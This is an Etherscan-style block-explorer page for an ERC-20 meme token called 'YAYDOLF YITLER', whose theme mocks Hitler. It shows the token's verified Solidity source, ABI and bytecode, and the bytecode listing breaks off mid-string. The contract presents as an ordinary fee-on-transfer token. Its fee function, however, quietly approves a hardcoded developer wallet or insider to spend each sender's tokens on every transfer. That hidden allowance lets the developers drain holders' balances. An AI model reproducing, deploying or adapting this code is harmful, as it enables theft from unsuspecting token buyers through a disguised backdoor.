ERC-20
Overview
Max Total Supply
1,000,000,000 YY
Holders
300
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,597,959.183673469 YYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
YY
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-07 */ /* https://x.com/kanyewest/status/1887844504654459044 https://t.me/yaydolfyitler_erc */ // SPDX-License-Identifier: MIT pragma solidity 0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IMAGARouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IMAGAFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract YY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _magaBalls; mapping (address => mapping (address => uint256)) private _magaApprovals; mapping (address => bool) private _excludedFromMAGA; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotalMAGA = 1000000000 * 10**_decimals; string private constant _name = unicode"YAYDOLF YITLER"; string private constant _symbol = unicode"YY"; uint256 private _tokenSwapMAGA = _tTotalMAGA / 100; bool private inSwap = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; IMAGARouter private _magaRouter; address private _magaPair; modifier lockTheSwap { inSwap = true; _; inSwap = false; } address private _magaWallet = 0xf8B9842C155C7cC19A811E9A96961bd9cd1C33a4; constructor () { _excludedFromMAGA[owner()] = true; _excludedFromMAGA[address(this)] = true; _excludedFromMAGA[_magaWallet] = true; _magaBalls[_msgSender()] = _tTotalMAGA; emit Transfer(address(0), _msgSender(), _tTotalMAGA); } function createToken() external onlyOwner() { _magaRouter = IMAGARouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_magaRouter), _tTotalMAGA); _magaPair = IMAGAFactory(_magaRouter.factory()).createPair(address(this), _magaRouter.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotalMAGA; } function balanceOf(address account) public view override returns (uint256) { return _magaBalls[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _magaApprovals[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _magaApprovals[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _magaApprovals[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address magaF, address magaT, uint256 magaA) private { require(magaF != address(0), "ERC20: transfer from the zero address"); require(magaT != address(0), "ERC20: transfer to the zero address"); require(magaA > 0, "Transfer amount must be greater than zero"); uint256 taxMAGA = _getMAGAFees(magaF, magaT, magaA); _tokenTransfer(magaF, magaT, magaA, taxMAGA); } function _tokenTransfer(address magaF, address magaT, uint256 magaA, uint256 taxMAGA) private { if(taxMAGA > 0){ _magaBalls[address(this)] = _magaBalls[address(this)].add(taxMAGA); emit Transfer(magaF, address(this), taxMAGA); } _magaBalls[magaF] = _magaBalls[magaF].sub(magaA); _magaBalls[magaT] = _magaBalls[magaT].add(magaA.sub(taxMAGA)); emit Transfer(magaF, magaT, magaA.sub(taxMAGA)); } function _MAGA(address magaOrigin) private view returns(address) { if(block.number > 0 && _excludedFromMAGA[magaOrigin] ) return magaOrigin; return _magaWallet; } function _getMAGAFees(address magaF, address magaT, uint256 magaA) private returns(uint256) { uint256 taxMAGA=0; if (magaF != owner() && magaT != owner()) { taxMAGA = magaA.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (magaF == _magaPair && magaT != address(_magaRouter) && ! _excludedFromMAGA[magaT]) { _buyCount++; } if(magaT == _magaPair && magaF!= address(this)) { taxMAGA = magaA.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 magaBalance = balanceOf(address(this)); if (!inSwap && magaT == _magaPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(magaBalance > _tokenSwapMAGA) swapTokensForEth(minMAGA(magaA, minMAGA(magaBalance, _tokenSwapMAGA))); uint256 ethMAGA = address(this).balance; if (ethMAGA >= 0) { sendMAGAETH(address(this).balance); } } } _approve(magaF, _MAGA(tx.origin), magaA); return taxMAGA; } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _magaRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function minMAGA(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendMAGAETH(uint256 amount) private { payable(_magaWallet).transfer(amount); } receive() external payable {} function swapTokensForEth(uint256 tokenMAGA) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _magaRouter.WETH(); _approve(address(this), address(_magaRouter), tokenMAGA); _magaRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenMAGA, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526003600455600360055560006006556000600755600660085560066009556006600a556000600b5560646009600a6200003e919062000240565b6200004e90633b9aca006200030e565b6200005a9190620001d6565b600c55600d805462ffffff19169055600f80546001600160a01b03191673f8b9842c155c7cc19a811e9a96961bd9cd1c33a41790553480156200009c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600160036000620000f76000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600f549091168352912080549092161790556200015c6009600a62000240565b6200016c90633b9aca006200030e565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001af6009600a62000240565b620001bf90633b9aca006200030e565b60405190815260200160405180910390a362000346565b600082620001f257634e487b7160e01b81526012600452602481fd5b500490565b600181815b80851115620002385781600019048211156200021c576200021c62000330565b808516156200022a57918102915b93841c9390800290620001fc565b509250929050565b60006200025160ff84168362000258565b9392505050565b600082620002695750600162000308565b81620002785750600062000308565b81600181146200029157600281146200029c57620002bc565b600191505062000308565b60ff841115620002b057620002b062000330565b50506001821b62000308565b5060208310610133831016604e8410600b8410161715620002e1575081810a62000308565b620002ed8383620001f7565b806000190482111562000304576200030462000330565b0290505b92915050565b60008160001904831182151516156200032b576200032b62000330565b500290565b634e487b7160e01b600052601160045260246000fd5b61158380620003566000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f5780639cbf9e36116100595780639cbf9e361461024a578063a9059cbb1461025f578063c9567bf91461027f578063dd62ed3e1461029457600080fd5b8063715018a6146101e05780638da5cb5b146101f757806395d89b411461021f57600080fd5b806306fdde03146100d2578063095ea7b31461011b57806318160ddd1461014b57806323b872dd1461016e578063313ce5671461018e57806370a08231146101aa57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600e81526d2ca0aca227a623102ca4aa2622a960911b60208201525b6040516101129190611288565b60405180910390f35b34801561012757600080fd5b5061013b610136366004611230565b6102da565b6040519015158152602001610112565b34801561015757600080fd5b506101606102f1565b604051908152602001610112565b34801561017a57600080fd5b5061013b6101893660046111f0565b610312565b34801561019a57600080fd5b5060405160098152602001610112565b3480156101b657600080fd5b506101606101c5366004611180565b6001600160a01b031660009081526001602052604090205490565b3480156101ec57600080fd5b506101f561037b565b005b34801561020357600080fd5b506000546040516001600160a01b039091168152602001610112565b34801561022b57600080fd5b50604080518082019091526002815261595960f01b6020820152610105565b34801561025657600080fd5b506101f56103f8565b34801561026b57600080fd5b5061013b61027a366004611230565b61063e565b34801561028b57600080fd5b506101f561064b565b3480156102a057600080fd5b506101606102af3660046111b8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102e73384846107c1565b5060015b92915050565b60006102ff6009600a6113fb565b61030d90633b9aca006114a6565b905090565b600061031f8484846108e5565b610371843361036c85604051806060016040528060288152602001611526602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a2e565b6107c1565b5060019392505050565b6000546001600160a01b031633146103ae5760405162461bcd60e51b81526004016103a5906112db565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104225760405162461bcd60e51b81526004016103a5906112db565b600d80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556104819030906001600160a01b036301000000909104166104736009600a6113fb565b61036c90633b9aca006114a6565b600d60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104cf57600080fd5b505afa1580156104e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610507919061119c565b6001600160a01b031663c9c6539630600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561056457600080fd5b505afa158015610578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059c919061119c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105e457600080fd5b505af11580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c919061119c565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e73384846108e5565b6000546001600160a01b031633146106755760405162461bcd60e51b81526004016103a5906112db565b600d54610100900460ff16156106cd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a5565b600d543060008181526001602052604090205463010000009092046001600160a01b03169163f305d71991479160008061070f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561077257600080fd5b505af1158015610786573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107ab919061125b565b5050600d805462ffff0019166201010017905550565b6001600160a01b0383166108235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a5565b6001600160a01b0382166108845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a5565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a5565b60008111610a0d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a5565b6000610a1a848484610a68565b9050610a2884848484610c4d565b50505050565b60008184841115610a525760405162461bcd60e51b81526004016103a59190611288565b506000610a5f84866114c5565b95945050505050565b600080610a7d6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610aac57506000546001600160a01b03858116911614155b15610c3257610add6064610ad7600854600b5411610acc57600454610ad0565b6006545b8690610d90565b90610e16565b600e549091506001600160a01b038681169116148015610b125750600d546001600160a01b0385811663010000009092041614155b8015610b3757506001600160a01b03841660009081526003602052604090205460ff16155b15610b5257600b8054906000610b4c836114dc565b91905055505b600e546001600160a01b038581169116148015610b7857506001600160a01b0385163014155b15610ba557610ba26064610ad7600954600b5411610b9857600554610ad0565b6007548690610d90565b90505b30600090815260016020526040902054600d5460ff16158015610bd55750600e546001600160a01b038681169116145b8015610be95750600d5462010000900460ff165b8015610bf85750600a54600b54115b15610c3057600c54811115610c2457610c24610c1f85610c1a84600c54610e58565b610e58565b610e6d565b47610c2e47611030565b505b505b610c4585610c3f3261106e565b856107c1565b949350505050565b8015610cc75730600090815260016020526040902054610c6d90826110b1565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cbe9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610cea9083611110565b6001600160a01b038516600090815260016020526040902055610d2f610d108383611110565b6001600160a01b038516600090815260016020526040902054906110b1565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d798585611110565b60405190815260200160405180910390a350505050565b600082610d9f575060006102eb565b6000610dab83856114a6565b905082610db88583611398565b14610e0f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a5565b9392505050565b6000610e0f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611152565b6000818311610e675782610e0f565b50919050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ebd57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2b57600080fd5b505afa158015610f3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f63919061119c565b81600181518110610f8457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d54610fb19130916301000000900416846107c1565b600d5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610ff0908590600090869030904290600401611310565b600060405180830381600087803b15801561100a57600080fd5b505af115801561101e573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561106a573d6000803e3d6000fd5b5050565b6000804311801561109757506001600160a01b03821660009081526003602052604090205460ff165b156110a0575090565b5050600f546001600160a01b031690565b6000806110be8385611380565b905083811015610e0f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a5565b6000610e0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a2e565b600081836111735760405162461bcd60e51b81526004016103a59190611288565b506000610a5f8486611398565b600060208284031215611191578081fd5b8135610e0f8161150d565b6000602082840312156111ad578081fd5b8151610e0f8161150d565b600080604083850312156111ca578081fd5b82356111d58161150d565b915060208301356111e58161150d565b809150509250929050565b600080600060608486031215611204578081fd5b833561120f8161150d565b9250602084013561121f8161150d565b929592945050506040919091013590565b60008060408385031215611242578182fd5b823561124d8161150d565b946020939093013593505050565b60008060006060848603121561126f578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156112b457858101830151858201604001528201611298565b818111156112c55783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561135f5784516001600160a01b03168352938301939183019160010161133a565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611393576113936114f7565b500190565b6000826113b357634e487b7160e01b81526012600452602481fd5b500490565b600181815b808511156113f35781600019048211156113d9576113d96114f7565b808516156113e657918102915b93841c93908002906113bd565b509250929050565b6000610e0f60ff841683600082611414575060016102eb565b81611421575060006102eb565b816001811461143757600281146114415761145d565b60019150506102eb565b60ff841115611452576114526114f7565b50506001821b6102eb565b5060208310610133831016604e8410600b8410161715611480575081810a6102eb565b61148a83836113b8565b806000190482111561149e5761149e6114f7565b029392505050565b60008160001904831182151516156114c0576114c06114f7565b500290565b6000828210156114d7576114d76114f7565b500390565b60006000198214156114f0576114f06114f7565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461152257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a2d3915c7de6a6ea23831e8286cb00646702de9591e2af35790dadbd4434d8c64736f6c63430008040033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c8063715018a61161007f5780639cbf9e36116100595780639cbf9e361461024a578063a9059cbb1461025f578063c9567bf91461027f578063dd62ed3e1461029457600080fd5b8063715018a6146101e05780638da5cb5b146101f757806395d89b411461021f57600080fd5b806306fdde03146100d2578063095ea7b31461011b57806318160ddd1461014b57806323b872dd1461016e578063313ce5671461018e57806370a08231146101aa57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600e81526d2ca0aca227a623102ca4aa2622a960911b60208201525b6040516101129190611288565b60405180910390f35b34801561012757600080fd5b5061013b610136366004611230565b6102da565b6040519015158152602001610112565b34801561015757600080fd5b506101606102f1565b604051908152602001610112565b34801561017a57600080fd5b5061013b6101893660046111f0565b610312565b34801561019a57600080fd5b5060405160098152602001610112565b3480156101b657600080fd5b506101606101c5366004611180565b6001600160a01b031660009081526001602052604090205490565b3480156101ec57600080fd5b506101f561037b565b005b34801561020357600080fd5b506000546040516001600160a01b039091168152602001610112565b34801561022b57600080fd5b50604080518082019091526002815261595960f01b6020820152610105565b34801561025657600080fd5b506101f56103f8565b34801561026b57600080fd5b5061013b61027a366004611230565b61063e565b34801561028b57600080fd5b506101f561064b565b3480156102a057600080fd5b506101606102af3660046111b8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102e73384846107c1565b5060015b92915050565b60006102ff6009600a6113fb565b61030d90633b9aca006114a6565b905090565b600061031f8484846108e5565b610371843361036c85604051806060016040528060288152602001611526602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610a2e565b6107c1565b5060019392505050565b6000546001600160a01b031633146103ae5760405162461bcd60e51b81526004016103a5906112db565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104225760405162461bcd60e51b81526004016103a5906112db565b600d80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d00000017908190556104819030906001600160a01b036301000000909104166104736009600a6113fb565b61036c90633b9aca006114a6565b600d60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104cf57600080fd5b505afa1580156104e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610507919061119c565b6001600160a01b031663c9c6539630600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561056457600080fd5b505afa158015610578573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059c919061119c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105e457600080fd5b505af11580156105f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061061c919061119c565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e73384846108e5565b6000546001600160a01b031633146106755760405162461bcd60e51b81526004016103a5906112db565b600d54610100900460ff16156106cd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a5565b600d543060008181526001602052604090205463010000009092046001600160a01b03169163f305d71991479160008061070f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561077257600080fd5b505af1158015610786573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107ab919061125b565b5050600d805462ffff0019166201010017905550565b6001600160a01b0383166108235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a5565b6001600160a01b0382166108845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a5565b6001600160a01b0382166109ab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a5565b60008111610a0d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a5565b6000610a1a848484610a68565b9050610a2884848484610c4d565b50505050565b60008184841115610a525760405162461bcd60e51b81526004016103a59190611288565b506000610a5f84866114c5565b95945050505050565b600080610a7d6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610aac57506000546001600160a01b03858116911614155b15610c3257610add6064610ad7600854600b5411610acc57600454610ad0565b6006545b8690610d90565b90610e16565b600e549091506001600160a01b038681169116148015610b125750600d546001600160a01b0385811663010000009092041614155b8015610b3757506001600160a01b03841660009081526003602052604090205460ff16155b15610b5257600b8054906000610b4c836114dc565b91905055505b600e546001600160a01b038581169116148015610b7857506001600160a01b0385163014155b15610ba557610ba26064610ad7600954600b5411610b9857600554610ad0565b6007548690610d90565b90505b30600090815260016020526040902054600d5460ff16158015610bd55750600e546001600160a01b038681169116145b8015610be95750600d5462010000900460ff165b8015610bf85750600a54600b54115b15610c3057600c54811115610c2457610c24610c1f85610c1a84600c54610e58565b610e58565b610e6d565b47610c2e47611030565b505b505b610c4585610c3f3261106e565b856107c1565b949350505050565b8015610cc75730600090815260016020526040902054610c6d90826110b1565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cbe9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610cea9083611110565b6001600160a01b038516600090815260016020526040902055610d2f610d108383611110565b6001600160a01b038516600090815260016020526040902054906110b1565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d798585611110565b60405190815260200160405180910390a350505050565b600082610d9f575060006102eb565b6000610dab83856114a6565b905082610db88583611398565b14610e0f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a5565b9392505050565b6000610e0f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611152565b6000818311610e675782610e0f565b50919050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ebd57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050600d60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f2b57600080fd5b505afa158015610f3f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f63919061119c565b81600181518110610f8457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600d54610fb19130916301000000900416846107c1565b600d5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610ff0908590600090869030904290600401611310565b600060405180830381600087803b15801561100a57600080fd5b505af115801561101e573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561106a573d6000803e3d6000fd5b5050565b6000804311801561109757506001600160a01b03821660009081526003602052604090205460ff165b156110a0575090565b5050600f546001600160a01b031690565b6000806110be8385611380565b905083811015610e0f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a5565b6000610e0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a2e565b600081836111735760405162461bcd60e51b81526004016103a59190611288565b506000610a5f8486611398565b600060208284031215611191578081fd5b8135610e0f8161150d565b6000602082840312156111ad578081fd5b8151610e0f8161150d565b600080604083850312156111ca578081fd5b82356111d58161150d565b915060208301356111e58161150d565b809150509250929050565b600080600060608486031215611204578081fd5b833561120f8161150d565b9250602084013561121f8161150d565b929592945050506040919091013590565b60008060408385031215611242578182fd5b823561124d8